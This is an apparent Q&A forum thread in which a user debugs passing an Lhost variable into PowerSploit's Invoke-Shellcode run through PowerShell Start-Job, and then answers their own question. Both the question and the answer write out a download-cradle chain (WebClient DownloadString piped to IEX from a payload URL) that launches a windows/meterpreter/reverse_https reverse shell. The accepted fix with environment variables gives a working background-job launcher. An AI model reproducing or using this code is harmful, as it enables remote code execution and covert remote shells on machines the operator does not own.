2
$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

Modified from this. Edit: removed unnecessary code for clarity.

MyCommandlet expects a variable (here -Lhost $temp) that is checked before being used (it should not be null or empty).

I am getting the following error message when trying to run the above script.

Invoke-Shellcode : Cannot validate argument on parameter 'Lhost'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.


Edit: Invoke-Shellcode is the original Commandlet, which I'm referencing as MyCommandlet. I didn't want to include the full code for security reasons (in case people would run the script themselves). For more details, see the code here https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

The original ScriptBlock would be something like (see the $temp variable)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

Essentially, the variable is not passed to my MyCommandlet properly, whereas Write-Host $temp returns a non-null value (which is correct) in the same context. I understand that variables are not passed to other ScriptBlock, especially if it runs in a new job, but because Write-Host is able to read the value properly inside the job, there is something else that I must have missed.

As suggested by some posts, I have tried the following alternatives:

  • ...} -ArgumentList $temp (after the ScriptBlock) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...} (at the beginning of the ScriptBlock)
  • Using Start-Job -ScriptBlock {...} directly, instead of a variable for the ScriptBlock. [scriptblock]::Create(...) to declare the ScriptBlock
  • Using Invoke-Command, instead of Start-Job but not only it does not work either (albeit working slightly differently), I would like to stick with Start-Job if possible.
  • I would like to avoid using Powershell V3.0 $using:variable feature. Plus, it did not work in the configuration I tried.

None of those worked for me.

Kant
  • 51
  • 3
  • 1
    Hi, have you tried declaring your variable in an initialization script for `Start-Job` ? Use `-InitializationScript $initScript` and declare in `$initScript`. – sodawillow Nov 15 '15 at 22:01
  • Is `Lhost` the real name for `variable`? – Mathias R. Jessen Nov 15 '15 at 22:13
  • If that is the case, change `MyCommandlet -Argument "$temp"` to `MyCommandlet -Lhost $temp` – Mathias R. Jessen Nov 15 '15 at 23:09
  • @sodawillow, no I haven't tried that. Will help propagating the variable to the commandlet I want to interact with ? It sounds like it's still gonna be referencing the variable somehow so I may hit the same problem. – Kant Nov 15 '15 at 23:14
  • @MathiasR.Jessen Yeah, that's it. I have tried sanitising my code but left out this part, so it's confusing. I have edited the code to reflect this. Eiher way, yes I have tried it. And it does not work :( – Kant Nov 15 '15 at 23:15
  • The code you posted doesn't match the error message. Also, you need to provide more context on `MyCommandlet`. The parameter snippet is too incomplete. Is the file you're downloading a script, or a function definition wrapped in a script? Where is the parameter defined? Please make the code in your question as self-contained as possible. – Ansgar Wiechers Nov 15 '15 at 23:16
  • @AnsgarWiechers fair enough. Tried to improve clairty slightly. – Kant Nov 15 '15 at 23:31
  • I really think this is because of the way the specific commandlet I want to use works (`MyCommandlet` or `Invoke-Shellcode` that is). Maybe it does some weird stuff which I don't understand. The variable $temp gets the right value inside the scriptBlock, and is definitely not null. Just the commandlet that is not able to read it for some reason. – Kant Nov 16 '15 at 18:41

1 Answers1

0

I found a solution that works, which relies on using environment variables, such as $env:myvar. To tie it up to the question above, I have used this way:

$foo = 'string_var'
$env:temp_var = $($foo)      

$s = { $WebClientObject = New-Object Net.WebClient
       IEX $WebClientObject.DownloadString('PAYLOAD_URL')
       Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
       #Write-Host $env:temp_var
     }

$id = [System.Guid]::NewGuid()
$jobs += $id   
Start-Job -Name $id -ScriptBlock $s

# Clean-up
Remove-Item env:\temp_var

For more details on environment variables in Powershell, see https://technet.microsoft.com/en-us/library/ff730964.aspx

ps: It still doesn't make sense to me why the options suggested above don't work... If anyone has any explanation, it would be most welcome.

Kant
  • 51
  • 3